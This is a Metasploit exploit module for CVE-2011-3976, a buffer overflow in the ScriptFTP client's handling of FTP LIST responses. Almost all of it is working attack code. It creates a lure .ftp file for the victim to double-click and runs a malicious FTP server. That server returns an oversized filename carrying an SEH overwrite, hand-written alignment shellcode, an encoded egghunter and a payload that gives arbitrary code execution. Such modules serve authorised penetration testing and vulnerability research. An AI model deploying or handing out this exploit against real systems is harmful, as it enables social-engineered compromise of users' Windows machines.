ScriptFTP LIST Remote Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::FtpServer
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Egghunter

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ScriptFTP LIST Remote Buffer Overflow',
        'Description' => %q{
          AmmSoft's ScriptFTP client is susceptible to a remote buffer overflow
          vulnerability that is triggered when processing a sufficiently long
          filename during a FTP LIST command resulting in overwriting the
          exception handler. Social engineering of executing a specially crafted
          ftp file by double click will result in connecting to our malicious
          server and perform arbitrary code execution which allows the attacker to
          gain the same rights as the user running ScriptFTP. This vulnerability
          affects versions 3.3 and earlier.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'modpr0be', # Vulnerability discovery and original exploit
          'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
          'mr_me <steventhomasseeley[at]gmail.com>',  # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2011-3976' ],
          [ 'OSVDB', '75633' ],
          [ 'EDB', '17876' ],
          [ 'US-CERT-VU', '440219' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
          'DisablePayloadHandler' => false
        },
        'Payload' => {
          'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
          'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
          'EncoderOptions' =>
                      {
                        'BufferRegister' => 'EDI', # Egghunter jmp edi
                      }
        },
        'Platform' => 'win',
        'Targets' => [
          # CALL DWORD PTR SS:[EBP-4]
          # scriptftp.exe - File version=Build 3/9/2009
          [ 'Windows XP SP3 / Windows Vista', { 'Offset' => 1746, 'Ret' => "\xd6\x41" } ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2011-10-12',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.', 'msf.ftp']),
      ]
    )
  end

  def setup
    ftp_file = "OPENHOST('#{srvhost_addr}','ftp','ftp')\r\n"
    ftp_file << "SETPASSIVE(ENABLED)\r\n"
    ftp_file << "GETLIST($list,REMOTE_FILES)\r\n"
    ftp_file << "CLOSEHOST\r\n"

    print_status("Creating '#{datastore['FILENAME']}'...")
    file_create(ftp_file)
    super
  end

  def on_client_unknown_command(c, cmd, arg)
    c.put("200 OK\r\n")
  end

  def on_client_command_list(c, arg)
    conn = establish_data_connection(c)
    if (not conn)
      c.put("425 Can't build data connection\r\n")
      return
    end

    print_status(" - Data connection set up")
    code = 150
    c.put("#{code} Here comes the directory listing.\r\n")

    code = 226
    c.put("#{code} Directory send ok.\r\n")

    eggoptions =
      {
        :checksum => false,
        :eggtag => 'cure'
      }

    hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

    # Encode with alphamixed, then unicode mixed
    [ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
      enc = framework.encoders.create(name)
      if name =~ /unicode/
        # aligned to ESP & EAX
        enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
      else
        enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
      end
      # NOTE: we already eliminated badchars
      hunter = enc.encode(hunter, nil, nil, platform)
      if name =~ /alpha/
        # insert getpc_stub & align EDX, unicode encoder friendly.
        # Hardcoded stub is not an issue here because it gets encoded anyway
        getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
        hunter = getpc_stub + hunter
      end
    }

    unicode_nop = "\x6d" # DD BYTE PTR DS:[ECX],AL

    nseh = "\x61" << unicode_nop
    seh = target.ret

    alignment = "\x54" # PUSH ESP
    alignment << unicode_nop
    alignment << "\x58" # POP EAX
    alignment << unicode_nop
    alignment << "\x05\x12\x11"  # ADD EAX,11001200
    alignment << unicode_nop
    alignment << "\x2d\x01\x01"  # SUB EAX,1000100
    alignment << unicode_nop
    alignment << "\x2d\x01\x10"  # SUB EAX,10000100
    alignment << unicode_nop
    alignment << "\x50"  # PUSH EAX
    alignment << unicode_nop
    alignment << "\xc3"  # RETN

    buffer = rand_text_alpha(656)
    buffer << hunter
    buffer << rand_text_alpha(target['Offset'] - buffer.length)
    buffer << nseh
    buffer << seh
    buffer << alignment
    buffer << rand_text_alpha(500)
    buffer << egg

    print_status(" - Sending directory list via data connection")
    dirlist = "-rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 #{buffer}.txt\r\n"
    dirlist << "   5 ftpuser  ftpusers       512 Jul 26  2001 A\r\n"
    dirlist << "rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 #{buffer}.txt\r\n"

    conn.put(dirlist)
    conn.close
    return
  end
end